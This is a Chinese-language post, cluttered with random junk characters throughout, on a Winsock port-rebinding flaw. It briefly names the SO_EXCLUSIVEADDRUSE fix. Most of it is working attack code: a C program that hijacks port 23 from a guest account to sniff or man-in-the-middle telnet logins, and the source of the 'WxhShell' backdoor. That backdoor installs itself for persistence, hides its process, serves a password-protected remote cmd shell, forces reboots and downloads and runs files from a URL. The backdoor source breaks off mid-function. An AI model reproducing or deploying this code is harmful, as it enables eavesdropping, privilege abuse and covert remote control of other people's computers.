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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: yY!@FGsA s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^2nH6,LPS %-an\.a. saddr.sin_family = AF_INET; q*}$1 zb B-wF1!Jv saddr.sin_addr.s_addr = htonl(INADDR_ANY); L(}/W~En 4
;^ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); h5lngw #KDN 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tdNAR| !!6g<S7) 这意味着什么?意味着可以进行如下的攻击: H< :`S\p[5 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1_>w|6;e 7|<-rjz^ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o),@I#fM X(Lz&fkd 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1%7zCM0s ODKS6E1{ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 :JK+V2B$H Q@rlqWgU
~ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 mzcxq:uZ5 nX<yB9bXDg 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {?X9juc/# ew,g'$drD 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _r`(P#Hy dZAb': #include } A}Vd:# #include iThf\ #include |9mGX9q #include C^!~WFy DWORD WINAPI ClientThread(LPVOID lpParam); k>#-NPU$ int main() 6\x/Z=}L { oP:/% WORD wVersionRequested; a lyA#zao| DWORD ret; &&Otj-n5 WSADATA wsaData; ki8Jl}dr BOOL val; B~%SB/eu SOCKADDR_IN saddr; 9w-;d=(Q SOCKADDR_IN scaddr; ! ~+mf^D int err; O>IG7Ujl SOCKET s; y7LM}dH#m SOCKET sc; LHs^Xo18 int caddsize; ZSn6JV'g HANDLE mt; A6#v6 iT DWORD tid; DS7Pioa86 wVersionRequested = MAKEWORD( 2, 2 ); zI_pP?4;.q err = WSAStartup( wVersionRequested, &wsaData ); SA~oGgk=P if ( err != 0 ) { ]C>h_,EZc printf("error!WSAStartup failed!\n"); nz Klue return -1; j^D/,SW } q^b12@.
saddr.sin_family = AF_INET; vZIx> o'ZW //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :-j/Y'H_ H4BuxM_r saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +[#^c3x2 saddr.sin_port = htons(23); 2K2_- if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B";Dj~y { qcfg 55]'c printf("error!socket failed!\n"); "gt*k# return -1; c/,B ? }
Lp{/ val = TRUE; on f7V //SO_REUSEADDR选项就是可以实现端口重绑定的 ]"i^VVw if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #3YYE5cB { S>R40T=e printf("error!setsockopt failed!\n"); i7`/"5I return -1; z"Wyf6H0T } ZU5; w //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8[IR;gZf //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 gO bP //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )Nl xW5 WU6F-{M"? if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) PBAQ
KQ { 'L2[^iF9 ret=GetLastError(); MwWN;_#EO) printf("error!bind failed!\n"); D/tFN+|P return -1; bJL ,pe+u } /%P,y+<}iG listen(s,2); \m+;^_;5GW while(1) hD7Lgi-N)W { f1I/aR V:+ caddsize = sizeof(scaddr); p:Zhg{sF //接受连接请求 u7
{R; QKw sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); KvlLcE~`o if(sc!=INVALID_SOCKET) vH{JLN2 { V4|l7 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); nc:K!7: if(mt==NULL) #|6M*;l N| { t8Giv89{ printf("Thread Creat Failed!\n"); {Yv5Z.L&( break; cN|
gaL } =2d h}8Mz } }1YQ?:@ CloseHandle(mt); 'l._00yu } nb(Od,L closesocket(s); y&2O)z!B WSACleanup(); ]Waa7)}DM return 0; hJ(S]1B~G } U
zMIm DWORD WINAPI ClientThread(LPVOID lpParam) *YWk. { eX o@3/ SOCKET ss = (SOCKET)lpParam; cnM`ywKW SOCKET sc; ^ ]SU (kY unsigned char buf[4096]; rv%^2h<& SOCKADDR_IN saddr; ]dnB, long num; I(+%`{Wv DWORD val; 86~q pN DWORD ret; _8OSDW*D5t //如果是隐藏端口应用的话,可以在此处加一些判断 7niI65 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Pol
c. saddr.sin_family = AF_INET; "XKd#ncP saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7G23D saddr.sin_port = htons(23); TL([hR _
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3@mW/l>X { M;E$ ]Z9 printf("error!socket failed!\n"); iuEQ?fp return -1; vtXZ`[D,l) } YJBf~0r val = 100; mA6Nmq%{ F if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) incUa; { .Yxf0y?uv ret = GetLastError(); iIU>:)i return -1; $%5!CD1) } DZV U!J if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) # |,c3$ { NV9H"fI ret = GetLastError(); o*s3"Ib return -1; qr?RU .W } C8
"FTH' if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7
JVonruaR { X=pPkgW printf("error!socket connect failed!\n"); 0/zgjT|fe closesocket(sc); m"mU:-jk` closesocket(ss); O-]^_LV` return -1; .$"69[1H } \rmge4`4 while(1) xMo'SpVz: { ?4 lDoP{ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ehQ~+x //如果是嗅探内容的话,可以再此处进行内容分析和记录 @'FO M //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Y> PC> num = recv(ss,buf,4096,0); IJofbuzw: if(num>0) Nrk/_0^ send(sc,buf,num,0); sQ%gf else if(num==0) K?acRi break; n;*W#c num = recv(sc,buf,4096,0); 3+iQct[ if(num>0) S$i3/t send(ss,buf,num,0); w-?Cg8bq< else if(num==0) x-@6U break; aKC3vR0 } +zSdP2s closesocket(ss); 6#1:2ZHKG closesocket(sc); jW_FaPW(p return 0 ; `rI[ } |=ljN7]! nWv6I& /SQ1i}% ========================================================== uzWz+atH +U,>D+ 下边附上一个代码,,WXhSHELL 2f.4P]s`T <^wqN!/ ========================================================== p`{ | [< JbEQ35r #include "stdafx.h" is}Y+^j. !gFUC<4bu #include <stdio.h> VtJyE} #include <string.h> >O}J*4A>+# #include <windows.h> B;xGTl@8 #include <winsock2.h> XLsOn(U\& #include <winsvc.h> doV+u(J~ #include <urlmon.h> Z1M{5E "\1QJ #pragma comment (lib, "Ws2_32.lib") W1p5F\ wt #pragma comment (lib, "urlmon.lib") -O?&+xIK& J1{ucFa #define MAX_USER 100 // 最大客户端连接数 dSIZsapH #define BUF_SOCK 200 // sock buffer ^ l9NF #define KEY_BUFF 255 // 输入 buffer ]eIV'lP,j/ ~3s\Q%
#define REBOOT 0 // 重启 y`.m'n7>P #define SHUTDOWN 1 // 关机 ^ ]CQd
dLy-J1h\ #define DEF_PORT 5000 // 监听端口 {]dH+J7 M[,G#GO #define REG_LEN 16 // 注册表键长度 z+6%Ya&ls #define SVC_LEN 80 // NT服务名长度 Z|qUVD5Ic cp<jwcc! // 从dll定义API #gY|T| typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0@dN$e typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
6i_dL|c typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xEvm>BZi
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T&~7*j(|e xl;0&/7e // wxhshell配置信息 Hnc<)_DF struct WSCFG { ,7|Wf
%X int ws_port; // 监听端口 SjB#"A5 char ws_passstr[REG_LEN]; // 口令
]<?7CpP int ws_autoins; // 安装标记, 1=yes 0=no wQ/Z: char ws_regname[REG_LEN]; // 注册表键名 088"7 s char ws_svcname[REG_LEN]; // 服务名 u3@v char ws_svcdisp[SVC_LEN]; // 服务显示名 F otHITw[ char ws_svcdesc[SVC_LEN]; // 服务描述信息 _f@,
>l char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6b9&V` int ws_downexe; // 下载执行标记, 1=yes 0=no :T# "bY char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" UV8K$n< char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W05>\Rl &[|P/gj#> }; dt|f4XWF ~6-6aYhe // default Wxhshell configuration h`b[c.% struct WSCFG wscfg={DEF_PORT, {kp^@ "xuhuanlingzhe", %e'Z.vm 1, E5F0C]hq "Wxhshell", ![a~y`<K, "Wxhshell", rYwUD7ip "WxhShell Service", [W2GLd] "Wrsky Windows CmdShell Service", JypXQC}~ "Please Input Your Password: ", CxRhMhvP 1, Y;6%pm $ " http://www.wrsky.com/wxhshell.exe", ;IYH5sG{ "Wxhshell.exe" KK4"H]!. }; WYNO6Xb#: f:|O);nM // 消息定义模块 |8YP8o char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {r2fIj~V char *msg_ws_prompt="\n\r? for help\n\r#>";
KL\]1YX char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; a#G]5TZ char *msg_ws_ext="\n\rExit."; Ps_q\R char *msg_ws_end="\n\rQuit."; S|?Ht61k char *msg_ws_boot="\n\rReboot..."; &b7i> () char *msg_ws_poff="\n\rShutdown..."; %1jApCJ char *msg_ws_down="\n\rSave to "; *.ZU" 5e JDy ;Jb char *msg_ws_err="\n\rErr!"; =j{r95)|u char *msg_ws_ok="\n\rOK!"; b&1-tYV nfbq J char ExeFile[MAX_PATH]; @"E{gM@B int nUser = 0; >hbT'Or@ HANDLE handles[MAX_USER]; {#'M3z= int OsIsNt; Ee?+IZ H7| 'fkaeFzOl SERVICE_STATUS serviceStatus; 4]/i0\Vbam SERVICE_STATUS_HANDLE hServiceStatusHandle; p3YF =ap6IVR // 函数声明 3JR1If int Install(void); Lc:DJA int Uninstall(void); oK3aW6 int DownloadFile(char *sURL, SOCKET wsh); %">
Oy&3 int Boot(int flag); R1=ir# U|D void HideProc(void); mv+K!T6 int GetOsVer(void); f8'$Mn, int Wxhshell(SOCKET wsl); O#5ll2? void TalkWithClient(void *cs); (66DKG int CmdShell(SOCKET sock); 1KtPq, int StartFromService(void); c&JYbq int StartWxhshell(LPSTR lpCmdLine); k;9"L90 tSvklI VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U.B=%S VOID WINAPI NTServiceHandler( DWORD fdwControl ); >)IXc<"wq 7berkU0P // 数据结构和表定义 5h4E>LB.B SERVICE_TABLE_ENTRY DispatchTable[] = }_{QsPx9 {
(s\":5
C {wscfg.ws_svcname, NTServiceMain}, 0fd\R_"d. {NULL, NULL} > \KVg(?D }; FTg4i\Wp ,LHQ@/}A C // 自我安装 r
7mg>3 int Install(void) o-D,K dY { Iu -CXc char svExeFile[MAX_PATH]; ?$T39U^ HKEY key; 96.z\[0VZ strcpy(svExeFile,ExeFile); qJ|n73yn r4D6I, // 如果是win9x系统,修改注册表设为自启动 j_r7oARL if(!OsIsNt) { 7q] @Jx9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k9^Vw+$m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #Rkld v' RegCloseKey(key); d$G<g78D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @}e'(ju%R RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DB>Y#2j4h RegCloseKey(key); {&Bpf
K;`) return 0; @-ma_0cZQ } /@.c
59r } !^|%Z } VnJ-nfA else { vsM] <t hR$lX8 // 如果是NT以上系统,安装为系统服务 IHg)xZ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^3-Wxn9& if (schSCManager!=0) ;^,2
Qs M { Y)@PGxjz SC_HANDLE schService = CreateService O&:0mpRZ ( VhAZncw schSCManager, P~+?:buqc wscfg.ws_svcname, {xC CUU wscfg.ws_svcdisp, 'ZHu=UT7_ SERVICE_ALL_ACCESS, WLAJqmC] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Hhbf9) SERVICE_AUTO_START, ikGH:{ SERVICE_ERROR_NORMAL, yMNLsR~ rh svExeFile, J\%<.S> NULL, V+dfV`*k NULL, Ur626} NULL, hao0_9q+ NULL, x Qh? NULL a9E!2o+, ); t|X |67W if (schService!=0) h]94\XQ>$ { rI:KZ}GZ CloseServiceHandle(schService); RT45@
CloseServiceHandle(schSCManager); O8+[)+6^ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4JHQ^i-aY strcat(svExeFile,wscfg.ws_svcname); Or9@ X=C if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i;0`d0^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,<lxq<1I RegCloseKey(key); OU(z};Is6Z return 0; X*~NE\ } fJCh } wE75HE`gW CloseServiceHandle(schSCManager); c=2e? } >5Zpx8W } K)qbd~<\ sQ^>.yG return 1; Y\T*8\h_[ } 'D-#,X
C &F}1\6{fL // 自我卸载 &bJ98Nxl int Uninstall(void) =3=KoH/' { zJMKgw,i* HKEY key; F.=uJdl.! 'KGY;8<x] if(!OsIsNt) { 4[3T%jA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D^PsV RegDeleteValue(key,wscfg.ws_regname); [&*$!M RegCloseKey(key); Et'C4od s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wN)R !6 RegDeleteValue(key,wscfg.ws_regname); kXC.rgal RegCloseKey(key); bE>3D#V< return 0; 2LYd
# !i } ZZC=
7FB } dW7dMx } 1A-8,) else { v%<_Mh #|XEBOmsQ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >V(2Ke Y if (schSCManager!=0) ke>\.|HT} { 1TQ$(bI SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Kc udWW] if (schService!=0)
n @L!{zY { l7{hq}@;cC if(DeleteService(schService)!=0) { vP}K(' ( CloseServiceHandle(schService); oQ;f`JC^ CloseServiceHandle(schSCManager); /^[)JbgB return 0; ):78GVp } 5 J|;RtcR CloseServiceHandle(schService); gSj-~kP } w#mnGD CloseServiceHandle(schSCManager); sW2LNE } `^J~^Z7Y- } %Y Rg1UKY *Kzs(O return 1; &`L5UX } s*CKFEb# )+t5G>yKK // 从指定url下载文件 vB4cdW
2#3 int DownloadFile(char *sURL, SOCKET wsh) ap%o\&T; { ]bnxOk HRESULT hr; Ql*/{#$ char seps[]= "/"; z3*G(, char *token; =w A< F char *file; e3>Re![_. char myURL[MAX_PATH]; -N\{QX1Yd char myFILE[MAX_PATH]; K[sM)_I ?XOeMI strcpy(myURL,sURL); 9jPb-I- token=strtok(myURL,seps); 2Bjp{)* while(token!=NULL) 'fAD Dh} { a3c4#'c|D file=token; 9_>4~!x` token=strtok(NULL,seps); g[M@ } T4!]^_t^ qk,cp},2K GetCurrentDirectory(MAX_PATH,myFILE); qfYb\b strcat(myFILE, "\\"); <Z8] W1) strcat(myFILE, file); hTG
d Uw] send(wsh,myFILE,strlen(myFILE),0); pO+1?c43 send(wsh,"...",3,0); $g$`fR) hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3+|6])Hi1 if(hr==S_OK) uBE,z>/,; return 0; <Ab:yD`K! else (Z"Xp{u return 1; `u>BtAx8 @J<B^_+Se } #8z\i2I [d&Faa[` // 系统电源模块 Fcr@Un' int Boot(int flag) fd,~Yj$R? { oM7^h3R HANDLE hToken; l wg.'< TOKEN_PRIVILEGES tkp; ;W+-x]O Z],"<[E if(OsIsNt) { =hs@W)-O OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PRz oLzr LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %xZ.+Ff% tkp.PrivilegeCount = 1; F{"%ey"> tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kN$70N7I; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H0(zE*c~ if(flag==REBOOT) { f<;9q?0V F if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -KNJCcBJ return 0; a;S^<8 } UUU^YT \ else { C95,!q if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |TUpv*pq return 0; KFs` u6 } Q~@8t"P } 9bNIaC*M else { G2^DukK. if(flag==REBOOT) { VDPN1+1* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z>0"T2W
y return 0; (;j7{( } ]s -6GT else { K`X2N if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ww,c)$ return 0; |@g1|OWd| } 5->PDp } OX`n`+^D jF;4
8g@^ return 1; OWjZ)f/ } ~JNuy"8 `?@7 KEl> // win9x进程隐藏模块 \;6F-0 void HideProc(void) $~YuS_sYg { -0X> y )mPlB. HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `SwnKg if ( hKernel != NULL ) 0&\Aw'21 { (>K$gAQH pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L&N"&\K2U ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qC4-J)8Wk FreeLibrary(hKernel); _)l %-*Z7p } 0hkuBQb\ 3PA'Uk"5Z return; >" .qFn g } m%V[&"5%e :z\f.+MI // 获取操作系统版本 CN=&Je%I int GetOsVer(void) ~ tLR { _'7/99]4g} OSVERSIONINFO winfo; :65HMWy. winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f$>orVm%. GetVersionEx(&winfo);
m#nxw if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vOK;l0% return 1; xB(:d'1| else x]ti3?w return 0; 6b/b}vl } ':V_V. : wF uh6!J // 客户端句柄模块 `+.I int Wxhshell(SOCKET wsl) K8J2eV\ { C'._}\nX SOCKET wsh; iW?9oe struct sockaddr_in client; 1,j9(m2 DWORD myID; QP B"EW faq
K D: while(nUser<MAX_USER) x5SQ+7 { V</T$V$ int nSize=sizeof(client); >u)ZT wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JC"K{V{ if(wsh==INVALID_SOCKET) return 1; T]|O/ 17cW8\
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6EU4 if(handles[nUser]==0) \vsrBM closesocket(wsh); 5gD)2Q6 else v)yimIHzo nUser++; .dCP8| } u =kSs WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3-bcY4 W6O.E return 0; ikhX5
&e } ku;nVV 2NknC>9(\ // 关闭 socket @'*#]YU8 void CloseIt(SOCKET wsh) CLfb`rF { !)3s <{k# closesocket(wsh); ^,K.)s nUser--; 8 uxFXQ ExitThread(0); 5{q/z^] } WdqK/s<jM z4641q5'm // 客户端请求句柄 6B/"M-YME void TalkWithClient(void *cs) d;SRK @ { %-/:ps z8|9WZ: SOCKET wsh=(SOCKET)cs; 5"am>$rh char pwd[SVC_LEN];
-C
ON char cmd[KEY_BUFF]; X-$td~r char chr[1]; %GbPrlu int i,j; 5vi#ItN}| 0juIkN# while (nUser < MAX_USER) { )m8>w6" rp#*uV9; if(wscfg.ws_passstr) { wmE,k1G if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R0mT/h2 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &H1D!N //ZeroMemory(pwd,KEY_BUFF); H}V*<mgw i=0; 9!HMQ while(i<SVC_LEN) { .eNwC .8i s66XdM // 设置超时 GFdJFQio fd_set FdRead; sK-|xU. struct timeval TimeOut; jL+}F /~r FD_ZERO(&FdRead); 'uACoME@ FD_SET(wsh,&FdRead); hav?mnVJ TimeOut.tv_sec=8; 0^.4eX:E_ TimeOut.tv_usec=0; +N$7=oGC int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /v)! m&6]> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }r~l72
` 'Y{ux> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UUf1T@- pwd =chr[0]; |C6(0fgWd if(chr[0]==0xd || chr[0]==0xa) { ICbdKgLz pwd=0; Zmbz-##HQ break; qV8\/7'A0a } Ym{%"EB i++; qm8n7Z/ } C.)&FW2F_ Bb[e[,ah // 如果是非法用户,关闭 socket gDNTIOV if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _K}_h\e. } 5m USh3 G\>\VA send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +.#S[G send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `J#xyDL6? l[ ": tG while(1) { &iiK ZZ`_o !BQ ELB$0 ZeroMemory(cmd,KEY_BUFF); K:
o|kd /W$y"!^)J1 // 自动支持客户端 telnet标准 bC4*w
O j=0; # 1dTM- while(j<KEY_BUFF) { PtQ# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); renmz,dJ, cmd[j]=chr[0]; Be>c)90bO_ if(chr[0]==0xa || chr[0]==0xd) { O<Sc.@~ cmd[j]=0; _HHJw""j break; VWA -?%r } 2PP-0
E j++; BdB` } Q`p}X&^a 5@>4)dk\ // 下载文件 *o e0= if(strstr(cmd,"http://")) { w4fJ`, send(wsh,msg_ws_down,strlen(msg_ws_down),0); oj(A`[ if(DownloadFile(cmd,wsh)) D*T$ v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wdcryejCkr else S5E,f?l send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OZB}aow } .A"T086 else { K~y9zF{ TaQ "G switch(cmd[0]) { \LoSUl
i <W=[
sWJ // 帮助 QV'3O| case '?': { a[P>SqT4` send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F{*9[jY break; {uwk[f{z } $,&gAU // 安装 &pMlt7 case 'i': { ??zABV if(Install()) )-9w3W1r send(wsh,msg_ws_err,strlen(msg_ws_err),0); mam5G!$ else *Nf4bH%MN send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4&]To@> break; z)W#&JFF } ^tg6JB;s // 卸载 !: EW21m case 'r': { lQ<#jxp if(Uninstall()) tU)r[2H2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); }OP%p/eY else WrHgF*[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [Z5}2gB& break; 9B#)h)h(= } CdzkMVH // 显示 wxhshell 所在路径 + 1+A3 case 'p': { /[nZ#zj!3 char svExeFile[MAX_PATH]; =Qj+Ug' strcpy(svExeFile,"\n\r"); Qor{1_h)+9 strcat(svExeFile,ExeFile); R(/[NvUb send(wsh,svExeFile,strlen(svExeFile),0); 71L\t3fG break; ."F'5eTT~ } m.HX2(&\3 // 重启 -@ UN]K case 'b': { k;K>
,$F send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z%}CBTm if(Boot(REBOOT)) ]cLEuE^& send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~aqT~TL_ else { liCCc;&B; closesocket(wsh); RQ*|+~H ExitThread(0); !4 4mT'Y } #.MIW*== break; L.TgJv43 } :_fjml/ // 关机 p;n3`aVh case 'd': { XC7Ty'#"KX send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n $O.> if(Boot(SHUTDOWN)) +9 16ZPk send(wsh,msg_ws_err,strlen(msg_ws_err),0); qUEd
E`B else { iJdrY6qd closesocket(wsh); J I+KS ExitThread(0); OXIu>jF } >ggk>s| break; a9?
v\hG } &e HM#as // 获取shell KD%xo/Z. case 's': { EU^}NZW&v: CmdShell(wsh); cwM#X;FGq
closesocket(wsh); !!-}ttFA ExitThread(0); iL7-4Lv# break; 9&O#+FU } aeuf, # // 退出 VW{aUgajO case 'x': { kO..~@aY send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Qr|N) CloseIt(wsh); I8<Il^ break; Giy3eva2 } y"|K
|QT // 离开 (E"&UC[ case 'q': { uKR\Xo} send(wsh,msg_ws_end,strlen(msg_ws_end),0); so?pA@O closesocket(wsh); cotxo?)Zv WSACleanup(); =9;[C:p0- exit(1); XI@6a9Uk break; `x%U } PS_3Oq) } gtaV6sD } Qm35{^p+ 097Fvt=# // 提示信息 #L@} .Giz if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pW*{Mx } vi[#?;pkF } g{g`YvLu^ gZ`32fB% return; Gsds!z$ } !q~X*ZKse 7gVh!rm // shell模块句柄 J^ +_8 int CmdShell(SOCKET sock) x38SSzG:L { tsTR2+GZS STARTUPINFO si; P[Y{LKAbb ZeroMemory(&si,sizeof(si)); $'A4RVVT si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O3^98n2 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^ [X|As2 PROCESS_INFORMATION ProcessInfo; m%e^&N#%6r char cmdline[]="cmd"; KXoL,)Hl CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'h!h! return 0; ULp)T`P } 9]]!8_0=r 7af?E)}v // 自身启动模式 V]l&{hl, int StartFromService(void) t7jh?] { @!z$Sp= typedef struct 8BYIxHHz { .DgoOo%?" DWORD ExitStatus; e={k.y}x} DWORD PebBaseAddress; yPf?"W DWORD AffinityMask; ! 6p>P4TT DWORD BasePriority; MuDFdbtR ULONG UniqueProcessId; io1S9a(y ULONG InheritedFromUniqueProcessId; \]Y\P~n } PROCESS_BASIC_INFORMATION; l 8O"w& E/"YId `A PROCNTQSIP NtQueryInformationProcess; ~pHJ0g:t h|J;6Sm@ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]4Nvh\/P9 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a~8:rW^ /_NkB$& HANDLE hProcess; fkdf~Vb PROCESS_BASIC_INFORMATION pbi; 33=Mm/<m$P x2
w8zT6M HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R'*<A3^ if(NULL == hInst ) return 0; jo 7Hyw!g aqcFY8b
' g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lTa1pp
